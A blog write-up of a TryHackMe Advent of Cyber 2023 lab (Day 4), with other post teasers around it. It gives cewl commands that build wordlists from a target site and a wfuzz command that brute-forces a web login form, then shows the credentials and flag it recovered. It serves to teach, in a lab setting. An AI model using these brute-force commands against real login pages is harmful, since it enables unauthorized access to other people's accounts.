Advent Of Cyber 2023 Day-4

Search for a command to run...

No comments yet. Be the first to comment.
This is a collection of Day wise write-ups of Advent of Cyber 2023. https://tryhackme.com/r/christmas
Machine Learning: Red (Prompt Injection)
Artificial Intelligence (AI) is all around us—powering recommendations, self-driving cars, and even medical diagnoses. But have you ever stopped to wonder how AI makes these decisions? As AI gets more advanced, it becomes harder to understand its rea...
Euler’s Totient Function often symbolised as ϕ(n), is one of the most important and fascinating functions in number theory. Named after the mathematician Leonhard Euler, it counts the number of integers upto a given integer n that are coprime to n. T...
A editorial-cum-educative blog teaching the basic features of Typescript, inspired by the Advent of TypeScript '24 exercises.

The world of Machine Learning has been developing for quite some time now , but one of the major breakthroughs in this dynamic field was the invention of XGBoost . The birth of Gradient boosting took place in 1999-2000 which starting the chain reacti...

Cloud computing is a transformative technology that allows businesses and developers to build, deploy, and manage applications through virtualized environments offered by cloud providers. Cloud development focuses on leveraging cloud infrastructure t...

First, I started the machine of the task of day 4.
Then in order to use AntarctiCrafts homepage to generate a wordlist that could potentially hold the key to the portal, I used this command:
cewl -d 2 -m 5 -w passwords.txt http://MACHINE_IP --with-numbers
Then to narrow down the search as the page of teams might contain the desired information, I used this command:
cewl -d 0 -m 5 -w usernames.txt http://MACHINE_IP/team.php --lowercase
Then to check the size of the files, I used ls -al command.
Since Wfuzz is a tool designed for brute-forcing web applications, I used this command:
wfuzz -c -z file,usernames.txt -z file,passwords.txt --hs "Please enter the correct credentials" -u http://MACHINE_IP/login.php -d "username=FUZZ&password=FUZ2Z"
Using this command led to finding the username and password
Which were:
Username: isaias
Password: Happiness
Finally, I found the flag!
Flag: THM{m3rrY4nt4rct1crAft$}